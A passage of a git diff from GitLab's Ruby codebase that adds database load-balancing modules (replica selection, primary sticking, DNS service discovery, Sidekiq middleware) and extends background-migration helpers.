index 00000000000..a833bb8491f
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/load_balancer.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Load balancing for ActiveRecord connections.
+ #
+ # Each host in the load balancer uses the same credentials as the primary
+ # database.
+ #
+ # This class *requires* that `ActiveRecord::Base.retrieve_connection`
+ # always returns a connection to the primary.
+ class LoadBalancer
+ CACHE_KEY = :gitlab_load_balancer_host
+ VALID_HOSTS_CACHE_KEY = :gitlab_load_balancer_valid_hosts
+
+ attr_reader :host_list
+
+ # hosts - The hostnames/addresses of the additional databases.
+ def initialize(hosts = [])
+ @host_list = HostList.new(hosts.map { |addr| Host.new(addr, self) })
+ @connection_db_roles = {}.compare_by_identity
+ @connection_db_roles_count = {}.compare_by_identity
+ end
+
+ # Yields a connection that can be used for reads.
+ #
+ # If no secondaries were available this method will use the primary
+ # instead.
+ def read(&block)
+ connection = nil
+ conflict_retried = 0
+
+ while host
+ ensure_caching!
+
+ begin
+ connection = host.connection
+ track_connection_role(connection, ROLE_REPLICA)
+
+ return yield connection
+ rescue StandardError => error
+ untrack_connection_role(connection)
+
+ if serialization_failure?(error)
+ # This error can occur when a query conflicts. See
+ # https://www.postgresql.org/docs/current/static/hot-standby.html#HOT-STANDBY-CONFLICT
+ # for more information.
+ #
+ # In this event we'll cycle through the secondaries at most 3
+ # times before using the primary instead.
+ will_retry = conflict_retried < @host_list.length * 3
+
+ LoadBalancing::Logger.warn(
+ event: :host_query_conflict,
+ message: 'Query conflict on host',
+ conflict_retried: conflict_retried,
+ will_retry: will_retry,
+ db_host: host.host,
+ db_port: host.port,
+ host_list_length: @host_list.length
+ )
+
+ if will_retry
+ conflict_retried += 1
+ release_host
+ else
+ break
+ end
+ elsif connection_error?(error)
+ host.offline!
+ release_host
+ else
+ raise error
+ end
+ end
+ end
+
+ LoadBalancing::Logger.warn(
+ event: :no_secondaries_available,
+ message: 'No secondaries were available, using primary instead',
+ conflict_retried: conflict_retried,
+ host_list_length: @host_list.length
+ )
+
+ read_write(&block)
+ ensure
+ untrack_connection_role(connection)
+ end
+
+ # Yields a connection that can be used for both reads and writes.
+ def read_write
+ connection = nil
+ # In the event of a failover the primary may be briefly unavailable.
+ # Instead of immediately grinding to a halt we'll retry the operation
+ # a few times.
+ retry_with_backoff do
+ connection = ActiveRecord::Base.retrieve_connection
+ track_connection_role(connection, ROLE_PRIMARY)
+
+ yield connection
+ end
+ ensure
+ untrack_connection_role(connection)
+ end
+
+ # Recognize the role (primary/replica) of the database this connection
+ # is connecting to. If the connection is not issued by this load
+ # balancer, return nil
+ def db_role_for_connection(connection)
+ return @connection_db_roles[connection] if @connection_db_roles[connection]
+ return ROLE_REPLICA if @host_list.manage_pool?(connection.pool)
+ return ROLE_PRIMARY if connection.pool == ActiveRecord::Base.connection_pool
+ end
+
+ # Returns a host to use for queries.
+ #
+ # Hosts are scoped per thread so that multiple threads don't
+ # accidentally re-use the same host + connection.
+ def host
+ RequestStore[CACHE_KEY] ||= current_host_list.next
+ end
+
+ # Releases the host and connection for the current thread.
+ def release_host
+ if host = RequestStore[CACHE_KEY]
+ host.disable_query_cache!
+ host.release_connection
+ end
+
+ RequestStore.delete(CACHE_KEY)
+ RequestStore.delete(VALID_HOSTS_CACHE_KEY)
+ end
+
+ def release_primary_connection
+ ActiveRecord::Base.connection_pool.release_connection
+ end
+
+ # Returns the transaction write location of the primary.
+ def primary_write_location
+ location = read_write do |connection|
+ ::Gitlab::Database.get_write_location(connection)
+ end
+
+ return location if location
+
+ raise 'Failed to determine the write location of the primary database'
+ end
+
+ # Returns true if all hosts have caught up to the given transaction
+ # write location.
+ def all_caught_up?(location)
+ @host_list.hosts.all? { |host| host.caught_up?(location) }
+ end
+
+ # Returns true if there was at least one host that has caught up with the given transaction.
+ #
+ # In case of a retry, this method also stores the set of hosts that have caught up.
+ def select_caught_up_hosts(location)
+ all_hosts = @host_list.hosts
+ valid_hosts = all_hosts.select { |host| host.caught_up?(location) }
+
+ return false if valid_hosts.empty?
+
+ # Hosts can come online after the time when this scan was done,
+ # so we need to remember the ones that can be used. If the host went
+ # offline, we'll just rely on the retry mechanism to use the primary.
+ set_consistent_hosts_for_request(HostList.new(valid_hosts))
+
+ # Since we will be using a subset from the original list, let's just
+ # pick a random host and mix up the original list to ensure we don't
+ # only end up using one replica.
+ RequestStore[CACHE_KEY] = valid_hosts.sample
+ @host_list.shuffle
+
+ true
+ end
+
+ # Returns true if there was at least one host that has caught up with the given transaction.
+ # Similar to `#select_caught_up_hosts`, picks a random host, to rotate replicas we use.
+ # Unlike `#select_caught_up_hosts`, does not iterate over all hosts if finds any.
+ def select_up_to_date_host(location)
+ all_hosts = @host_list.hosts.shuffle
+ host = all_hosts.find { |host| host.caught_up?(location) }
+
+ return false unless host
+
+ RequestStore[CACHE_KEY] = host
+
+ true
+ end
+
+ def set_consistent_hosts_for_request(hosts)
+ RequestStore[VALID_HOSTS_CACHE_KEY] = hosts
+ end
+
+ # Yields a block, retrying it upon error using an exponential backoff.
+ def retry_with_backoff(retries = 3, time = 2)
+ retried = 0
+ last_error = nil
+
+ while retried < retries
+ begin
+ return yield
+ rescue StandardError => error
+ raise error unless connection_error?(error)
+
+ # We need to release the primary connection as otherwise Rails
+ # will keep raising errors when using the connection.
+ release_primary_connection
+
+ last_error = error
+ sleep(time)
+ retried += 1
+ time **= 2
+ end
+ end
+
+ raise last_error
+ end
+
+ def connection_error?(error)
+ case error
+ when ActiveRecord::StatementInvalid, ActionView::Template::Error
+ # After connecting to the DB Rails will wrap query errors using this
+ # class.
+ connection_error?(error.cause)
+ when *CONNECTION_ERRORS
+ true
+ else
+ # When PG tries to set the client encoding but fails due to a
+ # connection error it will raise a PG::Error instance. Catching that
+ # would catch all errors (even those we don't want), so instead we
+ # check for the message of the error.
+ error.message.start_with?('invalid encoding name:')
+ end
+ end
+
+ def serialization_failure?(error)
+ if error.cause
+ serialization_failure?(error.cause)
+ else
+ error.is_a?(PG::TRSerializationFailure)
+ end
+ end
+
+ private
+
+ def ensure_caching!
+ host.enable_query_cache! unless host.query_cache_enabled
+ end
+
+ def track_connection_role(connection, role)
+ @connection_db_roles[connection] = role
+ @connection_db_roles_count[connection] ||= 0
+ @connection_db_roles_count[connection] += 1
+ end
+
+ def untrack_connection_role(connection)
+ return if connection.blank? || @connection_db_roles_count[connection].blank?
+
+ @connection_db_roles_count[connection] -= 1
+ if @connection_db_roles_count[connection] <= 0
+ @connection_db_roles.delete(connection)
+ @connection_db_roles_count.delete(connection)
+ end
+ end
+
+ def current_host_list
+ RequestStore[VALID_HOSTS_CACHE_KEY] || @host_list
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/logger.rb b/lib/gitlab/database/load_balancing/logger.rb
new file mode 100644
index 00000000000..ee67ffcc99c
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/logger.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ class Logger < ::Gitlab::JsonLogger
+ def self.file_name_noext
+ 'database_load_balancing'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/rack_middleware.rb b/lib/gitlab/database/load_balancing/rack_middleware.rb
new file mode 100644
index 00000000000..4734ff99bd3
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/rack_middleware.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Rack middleware to handle sticking when serving Rails requests. Grape
+ # API calls are handled separately as different API endpoints need to
+ # stick based on different objects.
+ class RackMiddleware
+ STICK_OBJECT = 'load_balancing.stick_object'
+
+ # Unsticks or continues sticking the current request.
+ #
+ # This method also updates the Rack environment so #call can later
+ # determine if we still need to stick or not.
+ #
+ # env - The Rack environment.
+ # namespace - The namespace to use for sticking.
+ # id - The identifier to use for sticking.
+ def self.stick_or_unstick(env, namespace, id)
+ return unless LoadBalancing.enable?
+
+ Sticking.unstick_or_continue_sticking(namespace, id)
+
+ env[STICK_OBJECT] ||= Set.new
+ env[STICK_OBJECT] << [namespace, id]
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ # Ensure that any state that may have run before the first request
+ # doesn't linger around.
+ clear
+
+ unstick_or_continue_sticking(env)
+
+ result = @app.call(env)
+
+ stick_if_necessary(env)
+
+ result
+ ensure
+ clear
+ end
+
+ # Determine if we need to stick based on currently available user data.
+ #
+ # Typically this code will only be reachable for Rails requests as
+ # Grape data is not yet available at this point.
+ def unstick_or_continue_sticking(env)
+ namespaces_and_ids = sticking_namespaces_and_ids(env)
+
+ namespaces_and_ids.each do |namespace, id|
+ Sticking.unstick_or_continue_sticking(namespace, id)
+ end
+ end
+
+ # Determine if we need to stick after handling a request.
+ def stick_if_necessary(env)
+ namespaces_and_ids = sticking_namespaces_and_ids(env)
+
+ namespaces_and_ids.each do |namespace, id|
+ Sticking.stick_if_necessary(namespace, id)
+ end
+ end
+
+ def clear
+ load_balancer.release_host
+ Session.clear_session
+ end
+
+ def load_balancer
+ LoadBalancing.proxy.load_balancer
+ end
+
+ # Determines the sticking namespace and identifier based on the Rack
+ # environment.
+ #
+ # For Rails requests this uses warden, but Grape and others have to
+ # manually set the right environment variable.
+ def sticking_namespaces_and_ids(env)
+ warden = env['warden']
+
+ if warden && warden.user
+ [[:user, warden.user.id]]
+ elsif env[STICK_OBJECT].present?
+ env[STICK_OBJECT].to_a
+ else
+ []
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/resolver.rb b/lib/gitlab/database/load_balancing/resolver.rb
new file mode 100644
index 00000000000..a291080cc3d
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/resolver.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'net/dns'
+require 'resolv'
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ class Resolver
+ UnresolvableNameserverError = Class.new(StandardError)
+
+ def initialize(nameserver)
+ @nameserver = nameserver
+ end
+
+ def resolve
+ address = ip_address || ip_address_from_hosts_file ||
+ ip_address_from_dns
+
+ unless address
+ raise UnresolvableNameserverError,
+ "could not resolve #{@nameserver}"
+ end
+
+ address
+ end
+
+ private
+
+ def ip_address
+ IPAddr.new(@nameserver)
+ rescue IPAddr::InvalidAddressError
+ end
+
+ def ip_address_from_hosts_file
+ ip = Resolv::Hosts.new.getaddress(@nameserver)
+ IPAddr.new(ip)
+ rescue Resolv::ResolvError
+ end
+
+ def ip_address_from_dns
+ answer = Net::DNS::Resolver.start(@nameserver, Net::DNS::A).answer
+ return if answer.empty?
+
+ answer.first.address
+ rescue Net::DNS::Resolver::NoResponseError
+ raise UnresolvableNameserverError, "no response from DNS server(s)"
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/service_discovery.rb b/lib/gitlab/database/load_balancing/service_discovery.rb
new file mode 100644
index 00000000000..9b42b25be1c
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/service_discovery.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+require 'net/dns'
+require 'resolv'
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Service discovery of secondary database hosts.
+ #
+ # Service discovery works by periodically looking up a DNS record. If the
+ # DNS record returns a new list of hosts, this class will update the load
+ # balancer with said hosts. Requests may continue to use the old hosts
+ # until they complete.
+ class ServiceDiscovery
+ attr_reader :interval, :record, :record_type, :disconnect_timeout
+
+ MAX_SLEEP_ADJUSTMENT = 10
+
+ RECORD_TYPES = {
+ 'A' => Net::DNS::A,
+ 'SRV' => Net::DNS::SRV
+ }.freeze
+
+ Address = Struct.new(:hostname, :port) do
+ def to_s
+ port ? "#{hostname}:#{port}" : hostname
+ end
+
+ def <=>(other)
+ self.to_s <=> other.to_s
+ end
+ end
+
+ # nameserver - The nameserver to use for DNS lookups.
+ # port - The port of the nameserver.
+ # record - The DNS record to look up for retrieving the secondaries.
+ # record_type - The type of DNS record to look up
+ # interval - The time to wait between lookups.
+ # disconnect_timeout - The time after which an old host should be
+ # forcefully disconnected.
+ # use_tcp - Use TCP instaed of UDP to look up resources
+ def initialize(nameserver:, port:, record:, record_type: 'A', interval: 60, disconnect_timeout: 120, use_tcp: false)
+ @nameserver = nameserver
+ @port = port
+ @record = record
+ @record_type = record_type_for(record_type)
+ @interval = interval
+ @disconnect_timeout = disconnect_timeout
+ @use_tcp = use_tcp
+ end
+
+ def start
+ Thread.new do
+ loop do
+ interval =
+ begin
+ refresh_if_necessary
+ rescue StandardError => error
+ # Any exceptions that might occur should be reported to
+ # Sentry, instead of silently terminating this thread.
+ Gitlab::ErrorTracking.track_exception(error)
+
+ Gitlab::AppLogger.error(
+ "Service discovery encountered an error: #{error.message}"
+ )
+
+ self.interval
+ end
+
+ # We slightly randomize the sleep() interval. This should reduce
+ # the likelihood of _all_ processes refreshing at the same time,
+ # possibly putting unnecessary pressure on the DNS server.
+ sleep(interval + rand(MAX_SLEEP_ADJUSTMENT))
+ end
+ end
+ end
+
+ # Refreshes the hosts, but only if the DNS record returned a new list of
+ # addresses.
+ #
+ # The return value is the amount of time (in seconds) to wait before
+ # checking the DNS record for any changes.
+ def refresh_if_necessary
+ interval, from_dns = addresses_from_dns
+
+ current = addresses_from_load_balancer
+
+ replace_hosts(from_dns) if from_dns != current
+
+ interval
+ end
+
+ # Replaces all the hosts in the load balancer with the new ones,
+ # disconnecting the old connections.
+ #
+ # addresses - An Array of Address structs to use for the new hosts.
+ def replace_hosts(addresses)
+ old_hosts = load_balancer.host_list.hosts
+
+ load_balancer.host_list.hosts = addresses.map do |addr|
+ Host.new(addr.hostname, load_balancer, port: addr.port)
+ end
+
+ # We must explicitly disconnect the old connections, otherwise we may
+ # leak database connections over time. For example, if a request
+ # started just before we added the new hosts it will use an old
+ # host/connection. While this connection will be checked in and out,
+ # it won't be explicitly disconnected.
+ old_hosts.each do |host|
+ host.disconnect!(disconnect_timeout)
+ end
+ end
+
+ # Returns an Array containing:
+ #
+ # 1. The time to wait for the next check.
+ # 2. An array containing the hostnames of the DNS record.
+ def addresses_from_dns
+ response = resolver.search(record, record_type)
+ resources = response.answer
+
+ addresses =
+ case record_type
+ when Net::DNS::A
+ addresses_from_a_record(resources)
+ when Net::DNS::SRV
+ addresses_from_srv_record(response)
+ end
+
+ # Addresses are sorted so we can directly compare the old and new
+ # addresses, without having to use any additional data structures.
+ [new_wait_time_for(resources), addresses.sort]
+ end
+
+ def new_wait_time_for(resources)
+ wait = resources.first&.ttl || interval
+
+ # The preconfigured interval acts as a minimum amount of time to
+ # wait.
+ wait < interval ? interval : wait
+ end
+
+ def addresses_from_load_balancer
+ load_balancer.host_list.host_names_and_ports.map do |hostname, port|
+ Address.new(hostname, port)
+ end.sort
+ end
+
+ def load_balancer
+ LoadBalancing.proxy.load_balancer
+ end
+
+ def resolver
+ @resolver ||= Net::DNS::Resolver.new(
+ nameservers: Resolver.new(@nameserver).resolve,
+ port: @port,
+ use_tcp: @use_tcp
+ )
+ end
+
+ private
+
+ def record_type_for(type)
+ RECORD_TYPES.fetch(type) do
+ raise(ArgumentError, "Unsupported record type: #{type}")
+ end
+ end
+
+ def addresses_from_srv_record(response)
+ srv_resolver = SrvResolver.new(resolver, response.additional)
+
+ response.answer.map do |r|
+ address = srv_resolver.address_for(r.host.to_s)
+ next unless address
+
+ Address.new(address.to_s, r.port)
+ end.compact
+ end
+
+ def addresses_from_a_record(resources)
+ resources.map { |r| Address.new(r.address.to_s) }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/session.rb b/lib/gitlab/database/load_balancing/session.rb
new file mode 100644
index 00000000000..3682c9265c2
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/session.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Tracking of load balancing state per user session.
+ #
+ # A session starts at the beginning of a request and ends once the request
+ # has been completed. Sessions can be used to keep track of what hosts
+ # should be used for queries.
+ class Session
+ CACHE_KEY = :gitlab_load_balancer_session
+
+ def self.current
+ RequestStore[CACHE_KEY] ||= new
+ end
+
+ def self.clear_session
+ RequestStore.delete(CACHE_KEY)
+ end
+
+ def self.without_sticky_writes(&block)
+ current.ignore_writes(&block)
+ end
+
+ def initialize
+ @use_primary = false
+ @performed_write = false
+ @ignore_writes = false
+ @fallback_to_replicas_for_ambiguous_queries = false
+ @use_replicas_for_read_queries = false
+ end
+
+ def use_primary?
+ @use_primary
+ end
+
+ alias_method :using_primary?, :use_primary?
+
+ def use_primary!
+ @use_primary = true
+ end
+
+ def use_primary(&blk)
+ used_primary = @use_primary
+ @use_primary = true
+ yield
+ ensure
+ @use_primary = used_primary || @performed_write
+ end
+
+ def ignore_writes(&block)
+ @ignore_writes = true
+
+ yield
+ ensure
+ @ignore_writes = false
+ end
+
+ # Indicates that the read SQL statements from anywhere inside this
+ # blocks should use a replica, regardless of the current primary
+ # stickiness or whether a write query is already performed in the
+ # current session. This interface is reserved mostly for performance
+ # purpose. This is a good tool to push expensive queries, which can
+ # tolerate the replica lags, to the replicas.
+ #
+ # Write and ambiguous queries inside this block are still handled by
+ # the primary.
+ def use_replicas_for_read_queries(&blk)
+ previous_flag = @use_replicas_for_read_queries
+ @use_replicas_for_read_queries = true
+ yield
+ ensure
+ @use_replicas_for_read_queries = previous_flag
+ end
+
+ def use_replicas_for_read_queries?
+ @use_replicas_for_read_queries == true
+ end
+
+ # Indicate that the ambiguous SQL statements from anywhere inside this
+ # block should use a replica. The ambiguous statements include:
+ # - Transactions.
+ # - Custom queries (via exec_query, execute, etc.)
+ # - In-flight connection configuration change (SET LOCAL statement_timeout = 5000)
+ #
+ # This is a weak enforcement. This helper incorporates well with
+ # primary stickiness:
+ # - If the queries are about to write
+ # - The current session already performed writes
+ # - It prefers to use primary, aka, use_primary or use_primary! were called
+ def fallback_to_replicas_for_ambiguous_queries(&blk)
+ previous_flag = @fallback_to_replicas_for_ambiguous_queries
+ @fallback_to_replicas_for_ambiguous_queries = true
+ yield
+ ensure
+ @fallback_to_replicas_for_ambiguous_queries = previous_flag
+ end
+
+ def fallback_to_replicas_for_ambiguous_queries?
+ @fallback_to_replicas_for_ambiguous_queries == true && !use_primary? && !performed_write?
+ end
+
+ def write!
+ @performed_write = true
+
+ return if @ignore_writes
+
+ use_primary!
+ end
+
+ def performed_write?
+ @performed_write
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb b/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb
new file mode 100644
index 00000000000..524d69c00c0
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ class SidekiqClientMiddleware
+ def call(worker_class, job, _queue, _redis_pool)
+ worker_class = worker_class.to_s.safe_constantize
+
+ mark_data_consistency_location(worker_class, job)
+
+ yield
+ end
+
+ private
+
+ def mark_data_consistency_location(worker_class, job)
+ # Mailers can't be constantized
+ return unless worker_class
+ return unless worker_class.include?(::ApplicationWorker)
+ return unless worker_class.get_data_consistency_feature_flag_enabled?
+
+ return if location_already_provided?(job)
+
+ job['worker_data_consistency'] = worker_class.get_data_consistency
+
+ return unless worker_class.utilizes_load_balancing_capabilities?
+
+ if Session.current.use_primary?
+ job['database_write_location'] = load_balancer.primary_write_location
+ else
+ job['database_replica_location'] = load_balancer.host.database_replica_location
+ end
+ end
+
+ def location_already_provided?(job)
+ job['database_replica_location'] || job['database_write_location']
+ end
+
+ def load_balancer
+ LoadBalancing.proxy.load_balancer
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
new file mode 100644
index 00000000000..9bd0adf8dbd
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ class SidekiqServerMiddleware
+ JobReplicaNotUpToDate = Class.new(StandardError)
+
+ def call(worker, job, _queue)
+ if requires_primary?(worker.class, job)
+ Session.current.use_primary!
+ end
+
+ yield
+ ensure
+ clear
+ end
+
+ private
+
+ def clear
+ load_balancer.release_host
+ Session.clear_session
+ end
+
+ def requires_primary?(worker_class, job)
+ return true unless worker_class.include?(::ApplicationWorker)
+ return true unless worker_class.utilizes_load_balancing_capabilities?
+ return true unless worker_class.get_data_consistency_feature_flag_enabled?
+
+ location = job['database_write_location'] || job['database_replica_location']
+
+ return true unless location
+
+ job_data_consistency = worker_class.get_data_consistency
+ job[:data_consistency] = job_data_consistency.to_s
+
+ if replica_caught_up?(location)
+ job[:database_chosen] = 'replica'
+ false
+ elsif job_data_consistency == :delayed && not_yet_retried?(job)
+ job[:database_chosen] = 'retry'
+ raise JobReplicaNotUpToDate, "Sidekiq job #{worker_class} JID-#{job['jid']} couldn't use the replica."\
+ " Replica was not up to date."
+ else
+ job[:database_chosen] = 'primary'
+ true
+ end
+ end
+
+ def not_yet_retried?(job)
+ # if `retry_count` is `nil` it indicates that this job was never retried
+ # the `0` indicates that this is a first retry
+ job['retry_count'].nil?
+ end
+
+ def load_balancer
+ LoadBalancing.proxy.load_balancer
+ end
+
+ def replica_caught_up?(location)
+ if Feature.enabled?(:sidekiq_load_balancing_rotate_up_to_date_replica)
+ load_balancer.select_up_to_date_host(location)
+ else
+ load_balancer.host.caught_up?(location)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/srv_resolver.rb b/lib/gitlab/database/load_balancing/srv_resolver.rb
new file mode 100644
index 00000000000..20da525f4d2
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/srv_resolver.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Hostnames returned in SRV records cannot sometimes be resolved by a local
+ # resolver, however, there's a possibility that their A/AAAA records are
+ # returned as part of the SRV query in the additional section, so we try
+ # to extract the IPs from there first, failing back to querying the
+ # hostnames A/AAAA records one by one, using the same resolver that
+ # queried the SRV record.
+ class SrvResolver
+ include Gitlab::Utils::StrongMemoize
+
+ attr_reader :resolver, :additional
+
+ def initialize(resolver, additional)
+ @resolver = resolver
+ @additional = additional
+ end
+
+ def address_for(host)
+ addresses_from_additional[host] || resolve_host(host)
+ end
+
+ private
+
+ def addresses_from_additional
+ strong_memoize(:addresses_from_additional) do
+ additional.each_with_object({}) do |rr, h|
+ h[rr.name] = rr.address if rr.is_a?(Net::DNS::RR::A) || rr.is_a?(Net::DNS::RR::AAAA)
+ end
+ end
+ end
+
+ def resolve_host(host)
+ record = resolver.search(host, Net::DNS::ANY).answer.find do |rr|
+ rr.is_a?(Net::DNS::RR::A) || rr.is_a?(Net::DNS::RR::AAAA)
+ end
+
+ record&.address
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/sticking.rb b/lib/gitlab/database/load_balancing/sticking.rb
new file mode 100644
index 00000000000..efbd7099300
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/sticking.rb
@@ -0,0 +1,147 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Module used for handling sticking connections to a primary, if
+ # necessary.
+ #
+ # ## Examples
+ #
+ # Sticking a user to the primary:
+ #
+ # Sticking.stick_if_necessary(:user, current_user.id)
+ #
+ # To unstick if possible, or continue using the primary otherwise:
+ #
+ # Sticking.unstick_or_continue_sticking(:user, current_user.id)
+ module Sticking
+ # The number of seconds after which a session should stop reading from
+ # the primary.
+ EXPIRATION = 30
+
+ # Sticks to the primary if a write was performed.
+ def self.stick_if_necessary(namespace, id)
+ return unless LoadBalancing.enable?
+
+ stick(namespace, id) if Session.current.performed_write?
+ end
+
+ # Checks if we are caught-up with all the work
+ def self.all_caught_up?(namespace, id)
+ location = last_write_location_for(namespace, id)
+
+ return true unless location
+
+ load_balancer.all_caught_up?(location).tap do |caught_up|
+ unstick(namespace, id) if caught_up
+ end
+ end
+
+ # Selects hosts that have caught up with the primary. This ensures
+ # atomic selection of the host to prevent the host list changing
+ # in another thread.
+ #
+ # Returns true if one host was selected.
+ def self.select_caught_up_replicas(namespace, id)
+ location = last_write_location_for(namespace, id)
+
+ # Unlike all_caught_up?, we return false if no write location exists.
+ # We want to be sure we talk to a replica that has caught up for a specific
+ # write location. If no such location exists, err on the side of caution.
+ return false unless location
+
+ load_balancer.select_caught_up_hosts(location).tap do |selected|
+ unstick(namespace, id) if selected
+ end
+ end
+
+ # Sticks to the primary if necessary, otherwise unsticks an object (if
+ # it was previously stuck to the primary).
+ def self.unstick_or_continue_sticking(namespace, id)
+ Session.current.use_primary! unless all_caught_up?(namespace, id)
+ end
+
+ # Select a replica that has caught up with the primary. If one has not been
+ # found, stick to the primary.
+ def self.select_valid_host(namespace, id)
+ replica_selected = select_caught_up_replicas(namespace, id)
+
+ Session.current.use_primary! unless replica_selected
+ end
+
+ # Starts sticking to the primary for the given namespace and id, using
+ # the latest WAL pointer from the primary.
+ def self.stick(namespace, id)
+ return unless LoadBalancing.enable?
+
+ mark_primary_write_location(namespace, id)
+ Session.current.use_primary!
+ end
+
+ def self.bulk_stick(namespace, ids)
+ return unless LoadBalancing.enable?
+
+ with_primary_write_location do |location|
+ ids.each do |id|
+ set_write_location_for(namespace, id, location)
+ end
+ end
+
+ Session.current.use_primary!
+ end
+
+ def self.with_primary_write_location
+ return unless LoadBalancing.configured?
+
+ # Load balancing could be enabled for the Web application server,
+ # but it's not activated for Sidekiq. We should update Redis with
+ # the write location just in case load balancing is being used.
+ location =
+ if LoadBalancing.enable?
+ load_balancer.primary_write_location
+ else
+ Gitlab::Database.get_write_location(ActiveRecord::Base.connection)
+ end
+
+ return if location.blank?
+
+ yield(location)
+ end
+
+ def self.mark_primary_write_location(namespace, id)
+ with_primary_write_location do |location|
+ set_write_location_for(namespace, id, location)
+ end
+ end
+
+ # Stops sticking to the primary.
+ def self.unstick(namespace, id)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.del(redis_key_for(namespace, id))
+ end
+ end
+
+ def self.set_write_location_for(namespace, id, location)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set(redis_key_for(namespace, id), location, ex: EXPIRATION)
+ end
+ end
+
+ def self.last_write_location_for(namespace, id)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.get(redis_key_for(namespace, id))
+ end
+ end
+
+ def self.redis_key_for(namespace, id)
+ "database-load-balancing/write-location/#{namespace}/#{id}"
+ end
+
+ def self.load_balancer
+ LoadBalancing.proxy.load_balancer
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index 3a94e109d2a..d155abefdc8 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -5,7 +5,7 @@ module Gitlab
module MigrationHelpers
include Migrations::BackgroundMigrationHelpers
include DynamicModelHelpers
- include Migrations::RenameTableHelpers
+ include RenameTableHelpers
# https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
MAX_IDENTIFIER_NAME_LENGTH = 63
@@ -1091,6 +1091,25 @@ module Gitlab
execute("DELETE FROM batched_background_migrations WHERE #{conditions}")
end
+ def ensure_batched_background_migration_is_finished(job_class_name:, table_name:, column_name:, job_arguments:)
+ migration = Gitlab::Database::BackgroundMigration::BatchedMigration
+ .for_configuration(job_class_name, table_name, column_name, job_arguments).first
+
+ configuration = {
+ job_class_name: job_class_name,
+ table_name: table_name,
+ column_name: column_name,
+ job_arguments: job_arguments
+ }
+
+ if migration.nil?
+ Gitlab::AppLogger.warn "Could not find batched background migration for the given configuration: #{configuration}"
+ elsif !migration.finished?
+ raise "Expected batched background migration for the given configuration to be marked as 'finished', " \
+ "but it is '#{migration.status}': #{configuration}"
+ end
+ end
+
# Returns an Array containing the indexes for the given column
def indexes_for(table, column)
column = column.to_s
diff --git a/lib/gitlab/database/migrations/background_migration_helpers.rb b/lib/gitlab/database/migrations/background_migration_helpers.rb
index 8d5ea652bfc..fa30ffb62f5 100644
--- a/lib/gitlab/database/migrations/background_migration_helpers.rb
+++ b/lib/gitlab/database/migrations/background_migration_helpers.rb
@@ -131,12 +131,51 @@ module Gitlab
final_delay
end
+ # Requeue pending jobs previously queued with #queue_background_migration_jobs_by_range_at_intervals
+ #
+ # This method is useful to schedule jobs that had previously failed.
+ #
+ # job_class_name - The background migration job class as a string
+ # delay_interval - The duration between each job's scheduled time
+ # batch_size - The maximum number of jobs to fetch to memory from the database.
+ def requeue_background_migration_jobs_by_range_at_intervals(job_class_name, delay_interval, batch_size: BATCH_SIZE, initial_delay: 0)
+ # To not overload the worker too much we enforce a minimum interval both
+ # when scheduling and performing jobs.
+ delay_interval = [delay_interval, BackgroundMigrationWorker.minimum_interval].max
+
+ final_delay = 0
+ job_counter = 0
+
+ jobs = Gitlab::Database::BackgroundMigrationJob.pending.where(class_name: job_class_name)
+ jobs.each_batch(of: batch_size) do |job_batch|
+ job_batch.each do |job|
+ final_delay = initial_delay + delay_interval * job_counter
+
+ migrate_in(final_delay, job_class_name, job.arguments)
+
+ job_counter += 1
+ end
+ end
+
+ duration = initial_delay + delay_interval * job_counter
+ say <<~SAY
+ Scheduled #{job_counter} #{job_class_name} jobs with an interval of #{delay_interval} seconds.
